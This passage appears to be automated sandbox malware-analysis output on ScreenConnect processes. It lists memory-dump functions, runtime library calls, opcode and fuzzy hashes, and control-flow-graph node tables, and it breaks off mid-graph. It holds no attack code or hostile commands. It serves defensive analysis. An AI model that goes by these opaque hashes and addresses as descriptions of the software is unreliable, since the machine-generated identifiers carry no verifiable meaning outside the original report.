                                                                                                                • Opcode ID: 0b8ec5638f32be2a31b5bda28eb0342a6ecb616dc31b2cd8e73ff41f3f0039e3
                                                                                                                • Instruction ID: 9ab7181bb89ab7c16c5eb8ed4b629bf616e9944dd4619ae8e93e83c666291f52
                                                                                                                • Opcode Fuzzy Hash: 0b8ec5638f32be2a31b5bda28eb0342a6ecb616dc31b2cd8e73ff41f3f0039e3
                                                                                                                • Instruction Fuzzy Hash: DA41B374A00218ABCF10DF6EC8849BEBBB5EF85328F2481D5E815AB751D731FA45CB91
                                                                                                                Function 04BE89A0 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: _free
                                                                                                                • String ID:
                                                                                                                • API String ID: 269201875-0
                                                                                                                • Opcode ID: 11da03935227008e72b98a9f5c54774a9b3d8df0d29eafe1f5fd49bd4728760a
                                                                                                                • Instruction ID: e232794f58692aa1465515f571ae8d3a9a433d7afde6fb4e390fefae37303133
                                                                                                                • Opcode Fuzzy Hash: 11da03935227008e72b98a9f5c54774a9b3d8df0d29eafe1f5fd49bd4728760a
                                                                                                                • Instruction Fuzzy Hash: 2D117F71A80B08AAF620BBB2CC05FEB77DD9F91704F801D64B799B7050DB38B5069761
                                                                                                                Function 04BE88FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: _free
                                                                                                                • String ID:
                                                                                                                • API String ID: 269201875-0
                                                                                                                • Opcode ID: 890dbcd9a2b0f5a0a30cc3a5806e57c603d1b9271de8132ac2fb32a09ebfb2ec
                                                                                                                • Instruction ID: b312f68200e110f1b6711b03fb9ef101fd3280ff3db8aab574b4dfbb6533da50
                                                                                                                • Opcode Fuzzy Hash: 890dbcd9a2b0f5a0a30cc3a5806e57c603d1b9271de8132ac2fb32a09ebfb2ec
                                                                                                                • Instruction Fuzzy Hash: 04F06236904A10ABE620EB57E6C5C2A73DDEAC27107942895F548D7910CB31F8818B64
                                                                                                                Function 04B55B7D Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                • __getptd.LIBCMT ref: 04B55B89
                                                                                                                  • Part of subcall function 04B53D8C: __getptd_noexit.LIBCMT ref: 04B53D8F
                                                                                                                  • Part of subcall function 04B53D8C: __amsg_exit.LIBCMT ref: 04B53D9C
                                                                                                                • __getptd.LIBCMT ref: 04B55BA0
                                                                                                                • __amsg_exit.LIBCMT ref: 04B55BAE
                                                                                                                • __lock.LIBCMT ref: 04B55BBE
                                                                                                                • __updatetlocinfoEx_nolock.LIBCMT ref: 04B55BD2
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
                                                                                                                • String ID:
                                                                                                                • API String ID: 938513278-0
                                                                                                                • Opcode ID: d4d8d29ceab474e9c14993e903675e3d1dc0d3b76562583048638aba16299d53
                                                                                                                • Instruction ID: 5604d3e6465c0e5954d51d0cb1445b50821388c6de6e2fbcb9a144759869df5b
                                                                                                                • Opcode Fuzzy Hash: d4d8d29ceab474e9c14993e903675e3d1dc0d3b76562583048638aba16299d53
                                                                                                                • Instruction Fuzzy Hash: 8CF06D32905614EBFB31BF688809B4DF3E0AF00769F1141C9ED40AB2F0CB74B9809A59
                                                                                                                Function 04BE4464 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 207COMMON
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: _free
                                                                                                                • String ID: *?
                                                                                                                • API String ID: 269201875-2564092906
                                                                                                                • Opcode ID: 83668da1288ae00aef70083cca803dabd0d2c444913cd7075f1ef847e4e1f110
                                                                                                                • Instruction ID: 784de828af640ea7955751611eda2f10ef260e93d54ad2e56ec194f84ffb3cfa
                                                                                                                • Opcode Fuzzy Hash: 83668da1288ae00aef70083cca803dabd0d2c444913cd7075f1ef847e4e1f110
                                                                                                                • Instruction Fuzzy Hash: DD61FCB5E002199FDF14DFAAC8805FDFBF5EF88214B1581AAD815E7340E775AE418B90
                                                                                                                Function 04B53F43 Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: __calloc_crt__init_pointers__mtterm_free
                                                                                                                • String ID:
                                                                                                                • API String ID: 3556499859-0
                                                                                                                • Opcode ID: 865593b137bf2c1f309d38de0cc6cc46fa9eeb9fc3858e6513c4ad239ed10207
                                                                                                                • Instruction ID: 7544ea4c615d2a139a0c1a2eaeb9101cfdaf223b0676e27f2b60a58dfb7c3bbb
                                                                                                                • Opcode Fuzzy Hash: 865593b137bf2c1f309d38de0cc6cc46fa9eeb9fc3858e6513c4ad239ed10207
                                                                                                                • Instruction Fuzzy Hash: 5E314B71800339AAFB29BB748C88B0ABFE5EB443A0B14C656FE24932B4DB74D055DF50
                                                                                                                Function 04B11CAC Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B11CC8
                                                                                                                • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B11CE1
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Value___vcrt_
                                                                                                                • String ID:
                                                                                                                • API String ID: 1426506684-0
                                                                                                                • Opcode ID: b2b8fcc6e0cec454968a8e601db6e4916faf8002442d9475854ca61e22c94438
                                                                                                                • Instruction ID: 6972166703615fc290ddac21b15d91564da3146fd65099e094ae5bd2ffa74c60
                                                                                                                • Opcode Fuzzy Hash: b2b8fcc6e0cec454968a8e601db6e4916faf8002442d9475854ca61e22c94438
                                                                                                                • Instruction Fuzzy Hash: 2101843230933A6EF7152B7D7CC4A6B3B58EB096BCBF003AAE720551F0EF616811A140
                                                                                                                Function 04BE188E Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04BE18AA
                                                                                                                • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04BE18C3
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Value___vcrt_
                                                                                                                • String ID:
                                                                                                                • API String ID: 1426506684-0
                                                                                                                • Opcode ID: bcea462541d5702a1058987f6d616999ec3f08688881a83fdccaf600ec120df0
                                                                                                                • Instruction ID: bfedd6ae9aeea349ede8242d163c9f91c7ee90c93b077e340775398df77c76ed
                                                                                                                • Opcode Fuzzy Hash: bcea462541d5702a1058987f6d616999ec3f08688881a83fdccaf600ec120df0
                                                                                                                • Instruction Fuzzy Hash: 4501B537608321ADF7292B7F5D889762798EB85679B3002E9F210854F1FF3268025194
                                                                                                                Function 04B55E19 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                                                                                                                Download Yara Rule
                                                                                                                APIs
                                                                                                                • __getptd.LIBCMT ref: 04B55E25
                                                                                                                  • Part of subcall function 04B53D8C: __getptd_noexit.LIBCMT ref: 04B53D8F
                                                                                                                  • Part of subcall function 04B53D8C: __amsg_exit.LIBCMT ref: 04B53D9C
                                                                                                                • __amsg_exit.LIBCMT ref: 04B55E45
                                                                                                                • __lock.LIBCMT ref: 04B55E55
                                                                                                                • _free.LIBCMT ref: 04B55E85
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2493031717.0000000004A52000.00000002.00000001.01000000.00000011.sdmp, Offset: 04A50000, based on PE: true
                                                                                                                • Associated: 00000013.00000002.2492998032.0000000004A50000.00000002.00000001.01000000.00000011.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4a50000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
                                                                                                                • String ID:
                                                                                                                • API String ID: 3170801528-0
                                                                                                                • Opcode ID: 207a241fe9c14d4d540a1ee03eaf67468aeddb67f36d56d4ea478d8a20082d0f
                                                                                                                • Instruction ID: c5c1bbf3a0210723f4ed561fe115be0fb59d4a2328d111df4045c09bdc8b4ba3
                                                                                                                • Opcode Fuzzy Hash: 207a241fe9c14d4d540a1ee03eaf67468aeddb67f36d56d4ea478d8a20082d0f
                                                                                                                • Instruction Fuzzy Hash: 88016D71901721FBEB31AF68884479EF7A0FF04756F054489EC10A72A4CB34B992CBD5

                                                                                                                Execution Graph

                                                                                                                Execution Coverage:11.4%
                                                                                                                Dynamic/Decrypted Code Coverage:100%
                                                                                                                Signature Coverage:0%
                                                                                                                Total number of Nodes:6
                                                                                                                Total number of Limit Nodes:0

                                                                                                                Executed Functions

                                                                                                                Function 00007FFEBC445BBA Relevance: .6, Instructions: 647COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 35 7ffebc445bba-7ffebc445bf4 call 7ffebc444350 call 7ffebc440c40 * 2 43 7ffebc44698e-7ffebc4469a1 35->43 44 7ffebc445bfa-7ffebc445c08 35->44 46 7ffebc445c0e-7ffebc445c1d 44->46 47 7ffebc445c0a-7ffebc445c0c 44->47 48 7ffebc445c20-7ffebc445c22 46->48 47->48 50 7ffebc445d62-7ffebc445d65 48->50 51 7ffebc445c28-7ffebc445c44 48->51 52 7ffebc445ea0-7ffebc445ea7 50->52 53 7ffebc445d6b-7ffebc445d76 50->53 51->50 64 7ffebc445c4a-7ffebc445c5c 51->64 54 7ffebc445f37-7ffebc445f3e 52->54 55 7ffebc445ead-7ffebc445eb4 52->55 56 7ffebc445dc2-7ffebc445dc6 53->56 57 7ffebc445d78-7ffebc445d79 53->57 60 7ffebc445f40-7ffebc445f47 54->60 61 7ffebc445f49-7ffebc445f5c 54->61 55->54 59 7ffebc445eba-7ffebc445ec4 55->59 56->52 57->56 63 7ffebc445f86-7ffebc445f8d 59->63 73 7ffebc445eca-7ffebc445ed2 59->73 60->61 60->63 74 7ffebc445f5e-7ffebc445f63 61->74 75 7ffebc445f6d-7ffebc445f75 61->75 65 7ffebc4461f1-7ffebc4461f8 63->65 66 7ffebc445f93-7ffebc445f9a 63->66 69 7ffebc445c5e-7ffebc445c5f 64->69 70 7ffebc445caa-7ffebc445cae 64->70 65->43 72 7ffebc4461fe-7ffebc446205 65->72 66->65 71 7ffebc445fa0-7ffebc445fa3 66->71 69->70 70->50 78 7ffebc445fa5-7ffebc445fa7 71->78 79 7ffebc445fac-7ffebc445fba 71->79 72->43 80 7ffebc44620b-7ffebc44621d 72->80 74->75 76 7ffebc4469e1-7ffebc446a3a 75->76 77 7ffebc445f7b-7ffebc445f7f 75->77 95 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 76->95 96 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 76->96 77->63 81 7ffebc44605a-7ffebc44605d 78->81 90 7ffebc445fbe 79->90 91 7ffebc445fbc 79->91 82 7ffebc44621f-7ffebc446220 80->82 83 7ffebc446269-7ffebc44626d 80->83 84 7ffebc44605f-7ffebc446061 81->84 85 7ffebc446066-7ffebc446074 81->85 82->83 83->43 88 7ffebc446115-7ffebc44611b 84->88 100 7ffebc446078 85->100 101 7ffebc446076 85->101 92 7ffebc446121-7ffebc446123 88->92 93 7ffebc4461cd-7ffebc4461cf 88->93 97 7ffebc445fc0-7ffebc445fc3 90->97 91->97 92->93 98 7ffebc446129-7ffebc44612a 92->98 93->65 99 7ffebc4461d1-7ffebc4461d9 93->99 124 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 95->124 125 7ffebc446a64-7ffebc446a76 95->125 122 7ffebc446f72-7ffebc446f7d 96->122 123 7ffebc446e6c-7ffebc446e73 96->123 104 7ffebc445fc5-7ffebc445fcb 97->104 105 7ffebc445fcd-7ffebc445fd8 97->105 98->93 99->65 108 7ffebc4461db-7ffebc4461e3 99->108 109 7ffebc44607a-7ffebc44607d 100->109 101->109 112 7ffebc446048-7ffebc446058 104->112 106 7ffebc446024-7ffebc446028 105->106 107 7ffebc445fda-7ffebc445fdb 105->107 106->112 107->106 108->65 114 7ffebc44607f-7ffebc446085 109->114 115 7ffebc446087-7ffebc446092 109->115 112->81 119 7ffebc446103-7ffebc446113 114->119 120 7ffebc4460de-7ffebc4460e2 115->120 121 7ffebc446094-7ffebc446095 115->121 119->88 120->119 121->120 126 7ffebc446e75-7ffebc446e84 123->126 127 7ffebc446e86-7ffebc446e88 123->127 143 7ffebc446cfe-7ffebc446d08 124->143 144 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 124->144 134 7ffebc446a78-7ffebc446a7a 125->134 135 7ffebc446a7c-7ffebc446a8a 125->135 126->127 137 7ffebc446e8a 126->137 129 7ffebc446e8f-7ffebc446eb3 127->129 140 7ffebc446eff-7ffebc446f03 129->140 141 7ffebc446eb5-7ffebc446eb6 129->141 136 7ffebc446a8d-7ffebc446aa2 134->136 135->136 149 7ffebc446aa4-7ffebc446aa6 136->149 150 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 136->150 137->129 140->122 141->140 145 7ffebc446d1c 143->145 146 7ffebc446d0a-7ffebc446d1a 143->146 161 7ffebc446dfb-7ffebc446e06 144->161 162 7ffebc446d4a-7ffebc446d55 144->162 151 7ffebc446d1e-7ffebc446d1f 145->151 146->151 155 7ffebc446acf-7ffebc446ae4 149->155 150->155 151->144 164 7ffebc446ae6-7ffebc446ae8 155->164 165 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 155->165 170 7ffebc446e08-7ffebc446e0a 161->170 171 7ffebc446e0c-7ffebc446e1b 161->171 173 7ffebc446d57-7ffebc446d59 162->173 174 7ffebc446d5b-7ffebc446d6a 162->174 168 7ffebc446b11-7ffebc446b26 164->168 165->168 183 7ffebc446b28-7ffebc446b2a 168->183 184 7ffebc446b2c-7ffebc446b50 call 7ffebc445b00 168->184 175 7ffebc446e1e-7ffebc446e20 170->175 171->175 178 7ffebc446d6d-7ffebc446d91 173->178 174->178 175->122 182 7ffebc446e26-7ffebc446e2e 175->182 178->161 182->96 186 7ffebc446b53-7ffebc446b61 183->186 184->186 189 7ffebc446b63-7ffebc446b65 186->189 190 7ffebc446b67-7ffebc446b75 186->190 191 7ffebc446b78-7ffebc446b81 189->191 190->191 194 7ffebc446b88-7ffebc446b8f 191->194 194->124 195 7ffebc446b95-7ffebc446b9c 194->195 195->124 196 7ffebc446ba2-7ffebc446bb9 195->196 198 7ffebc446bee-7ffebc446bf9 196->198 199 7ffebc446bbb-7ffebc446bcd 196->199 202 7ffebc446bff-7ffebc446c0e 198->202 203 7ffebc446bfb-7ffebc446bfd 198->203 204 7ffebc446bcf-7ffebc446bd1 199->204 205 7ffebc446bd3-7ffebc446be1 199->205 206 7ffebc446c11-7ffebc446c13 202->206 203->206 207 7ffebc446be4-7ffebc446be7 204->207 205->207 210 7ffebc446c19-7ffebc446c30 206->210 211 7ffebc446cc8-7ffebc446cd0 206->211 207->198 210->211 213 7ffebc446c36-7ffebc446c53 210->213 211->124 216 7ffebc446c5f 213->216 217 7ffebc446c55-7ffebc446c5d 213->217 218 7ffebc446c61-7ffebc446c63 216->218 217->218 218->211 219 7ffebc446c65-7ffebc446c6f 218->219 221 7ffebc446c71-7ffebc446c7b call 7ffebc443ce8 219->221 222 7ffebc446c7d-7ffebc446c85 219->222 221->124 221->222 224 7ffebc446cb3-7ffebc446cc6 call 7ffebc445b28 222->224 225 7ffebc446c87-7ffebc446c88 222->225 224->124
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 997bf82cc921dd4910b17837299271b448664e27d5ae6e9ba6eab40696ff254a
                                                                                                                • Instruction ID: d97d23d07463923902ff9f7e010a751144e6b67482efe85711ba95d44cad89ef
                                                                                                                • Opcode Fuzzy Hash: 997bf82cc921dd4910b17837299271b448664e27d5ae6e9ba6eab40696ff254a
                                                                                                                • Instruction Fuzzy Hash: B8229531A9CA164FEBA5972C80557F973D3EF88309F640279D64ED72F2DE28A9428740
                                                                                                                Function 00007FFEBC13365D Relevance: 1.6, APIs: 1, Instructions: 122pipeCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                APIs
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2500650318.00007FFEBC130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC130000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc130000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: ConnectNamedPipe
                                                                                                                • String ID:
                                                                                                                • API String ID: 2191148154-0
                                                                                                                • Opcode ID: ca26793934cffdaef1fc38d7a5cce498067761d93f31d22385230638a3296e89
                                                                                                                • Instruction ID: 123b6cdda58a652816a4a3936aa98ce9148da4f6bfd8d34e81eaca3906110cc6
                                                                                                                • Opcode Fuzzy Hash: ca26793934cffdaef1fc38d7a5cce498067761d93f31d22385230638a3296e89
                                                                                                                • Instruction Fuzzy Hash: 59316D31D08A1C8FEB58EF98C849BEDB7F1FB69311F00826AD40DD7255DB70A8858B81
                                                                                                                Function 00007FFEBC1380BB Relevance: 1.6, APIs: 1, Instructions: 105COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 9 7ffebc1380bb-7ffebc138150 SetProcessMitigationPolicy 11 7ffebc138152 9->11 12 7ffebc138158-7ffebc138187 9->12 11->12
                                                                                                                APIs
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2500650318.00007FFEBC130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC130000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc130000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: MitigationPolicyProcess
                                                                                                                • String ID:
                                                                                                                • API String ID: 1088084561-0
                                                                                                                • Opcode ID: a4e8acf341dfdff11cc6ecfc9e6b32f55c98eb3fb3c48ecc0a995132ded7c95e
                                                                                                                • Instruction ID: ac82765d7d0aa0717d06b718d6522d63b723caf845cf7ad0dc9144aeeb0e889c
                                                                                                                • Opcode Fuzzy Hash: a4e8acf341dfdff11cc6ecfc9e6b32f55c98eb3fb3c48ecc0a995132ded7c95e
                                                                                                                • Instruction Fuzzy Hash: 2621D73191CB188FEB18AF9CD84A5F9B7E0EB65711F00417FE449D3251DB74B8458B91
                                                                                                                Function 00007FFEBC44289E Relevance: 1.3, Strings: 1, Instructions: 28COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: C?
                                                                                                                • API String ID: 0-2298717543
                                                                                                                • Opcode ID: 8774e7ae93819073aa384c3ba60cc8252aa60b49705ca6e2799a551d074367f4
                                                                                                                • Instruction ID: 071e1bdba6e4886d2da8bc337afd37d96978359f7e60a1a02669d6e252027b2a
                                                                                                                • Opcode Fuzzy Hash: 8774e7ae93819073aa384c3ba60cc8252aa60b49705ca6e2799a551d074367f4
                                                                                                                • Instruction Fuzzy Hash: 7DE0DF72B1C6044EF70CDB0CA0033F873C2FB85339F4001BED28A865A3DE2AA5474280
                                                                                                                Function 00007FFEBC440168 Relevance: .3, Instructions: 314COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 229 7ffebc440168-7ffebc44017e 231 7ffebc440180-7ffebc440181 229->231 232 7ffebc44019a 229->232 231->232 233 7ffebc44019f-7ffebc4401a5 232->233 234 7ffebc44023e-7ffebc440241 233->234 235 7ffebc4401ab-7ffebc4401b4 233->235 238 7ffebc440243-7ffebc44024d 234->238 239 7ffebc440298-7ffebc4402b6 234->239 236 7ffebc4401b6-7ffebc4401b7 235->236 237 7ffebc4401cd-7ffebc4401d8 235->237 240 7ffebc440224-7ffebc440228 237->240 241 7ffebc4401da-7ffebc4401db 237->241 243 7ffebc440255-7ffebc44026e 238->243 246 7ffebc440400-7ffebc44041e 239->246 247 7ffebc4402ba-7ffebc4402c6 239->247 240->234 241->240 248 7ffebc440270-7ffebc440272 243->248 249 7ffebc4402df-7ffebc4402ea 243->249 270 7ffebc440424-7ffebc44042e 246->270 271 7ffebc4404bd-7ffebc4404c8 246->271 251 7ffebc4402c8-7ffebc4402ca 247->251 252 7ffebc4402cc-7ffebc4402da 247->252 253 7ffebc4402ee-7ffebc4402fa 248->253 254 7ffebc440274 248->254 250 7ffebc4402eb-7ffebc4402ec 249->250 250->253 258 7ffebc4402dd-7ffebc4402de 251->258 252->258 255 7ffebc440300-7ffebc440301 253->255 256 7ffebc4402fc-7ffebc4402fe 253->256 254->247 259 7ffebc440276-7ffebc44027a 254->259 262 7ffebc440302-7ffebc44030e 255->262 261 7ffebc440311-7ffebc440315 256->261 258->249 259->250 260 7ffebc44027c-7ffebc440281 259->260 260->262 264 7ffebc440283-7ffebc44028e 260->264 265 7ffebc440316-7ffebc44032e 261->265 262->261 267 7ffebc440290-7ffebc440295 264->267 268 7ffebc4402ff 264->268 276 7ffebc440330-7ffebc440332 265->276 277 7ffebc440334-7ffebc440342 265->277 267->265 272 7ffebc440297 267->272 268->255 274 7ffebc440430-7ffebc440432 270->274 275 7ffebc440434-7ffebc440442 270->275 272->239 278 7ffebc440445-7ffebc440462 274->278 275->278 280 7ffebc440345-7ffebc440362 276->280 277->280 284 7ffebc440464-7ffebc440466 278->284 285 7ffebc440468-7ffebc440476 278->285 286 7ffebc440364-7ffebc440366 280->286 287 7ffebc440368-7ffebc440376 280->287 288 7ffebc440479-7ffebc440496 284->288 285->288 289 7ffebc440379-7ffebc44038f 286->289 287->289 294 7ffebc440498-7ffebc44049a 288->294 295 7ffebc44049c-7ffebc4404aa 288->295 296 7ffebc440391-7ffebc4403a4 289->296 297 7ffebc4403a6-7ffebc4403ad 289->297 298 7ffebc4404ad-7ffebc4404b6 294->298 295->298 296->297 302 7ffebc4403cd-7ffebc4403d0 296->302 300 7ffebc4403b4-7ffebc4403c7 297->300 298->271 300->302 303 7ffebc4403d2-7ffebc4403e5 302->303 304 7ffebc4403e7-7ffebc4403fa 302->304 303->246 303->304 304->246
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000014.00000002.2508649839.00007FFEBC440000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEBC440000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_20_2_7ffebc440000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3d20208995b7e910941083e5c5dfbd5ada0704a89bae57ba32f6ba9517b7c712
                                                                                                                • Instruction ID: 91108c43decc2ce243232d8b13f121dc45a254cfbd599a0b79227be3b42c5e74
                                                                                                                • Opcode Fuzzy Hash: 3d20208995b7e910941083e5c5dfbd5ada0704a89bae57ba32f6ba9517b7c712
                                                                                                                • Instruction Fuzzy Hash: 15A16F70A5CA0A8FEBA8EB5CD091BB537D2FF58305F604179E64EC72E2DD68E9418740
                                                                                                                Function 00007FFEBC44680B Relevance: .3, Instructions: 271COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 306 7ffebc44680b-7ffebc44680e 307 7ffebc446810-7ffebc446814 306->307 308 7ffebc44688a-7ffebc446892 306->308 309 7ffebc446895-7ffebc44689c 307->309 310 7ffebc446816-7ffebc446865 call 7ffebc4459c0 call 7ffebc4459d0 call 7ffebc4457f8 307->310 308->309 311 7ffebc4469d8-7ffebc446a3a 309->311 312 7ffebc44689d-7ffebc4468c7 309->312 326 7ffebc44691c-7ffebc44691d 310->326 336 7ffebc44686b-7ffebc44687d 310->336 327 7ffebc446a40-7ffebc446a5e call 7ffebc440c40 * 2 311->327 328 7ffebc446e48-7ffebc446e66 call 7ffebc440c40 * 2 311->328 323 7ffebc4468c9-7ffebc4468cd 312->323 323->326 326->311 343 7ffebc446cde-7ffebc446cfc call 7ffebc440c40 * 2 327->343 344 7ffebc446a64-7ffebc446a6c 327->344 341 7ffebc446f72-7ffebc446f7d 328->341 342 7ffebc446e6c-7ffebc446e73 328->342 336->323 340 7ffebc44687f-7ffebc446880 336->340 340->308 345 7ffebc446e75-7ffebc446e84 342->345 346 7ffebc446e86-7ffebc446e88 342->346 362 7ffebc446cfe-7ffebc446d08 343->362 363 7ffebc446d26-7ffebc446d44 call 7ffebc440c40 * 2 343->363 350 7ffebc446a73-7ffebc446a76 344->350 345->346 356 7ffebc446e8a 345->356 348 7ffebc446e8f-7ffebc446eb3 346->348 359 7ffebc446eff-7ffebc446f03 348->359 360 7ffebc446eb5-7ffebc446eb6 348->360 353 7ffebc446a78-7ffebc446a7a 350->353 354 7ffebc446a7c-7ffebc446a8a 350->354 355 7ffebc446a8d-7ffebc446aa2 353->355 354->355 368 7ffebc446aa4-7ffebc446aa6 355->368 369 7ffebc446aa8-7ffebc446acc call 7ffebc445b00 * 2 355->369 356->348 359->341 360->359 364 7ffebc446d1c 362->364 365 7ffebc446d0a-7ffebc446d1a 362->365 380 7ffebc446dfb-7ffebc446e06 363->380 381 7ffebc446d4a-7ffebc446d55 363->381 370 7ffebc446d1e-7ffebc446d1f 364->370 365->370 374 7ffebc446acf-7ffebc446ae4 368->374 369->374 370->363 383 7ffebc446ae6-7ffebc446ae8 374->383 384 7ffebc446aea-7ffebc446b0e call 7ffebc445b00 * 2 374->384 389 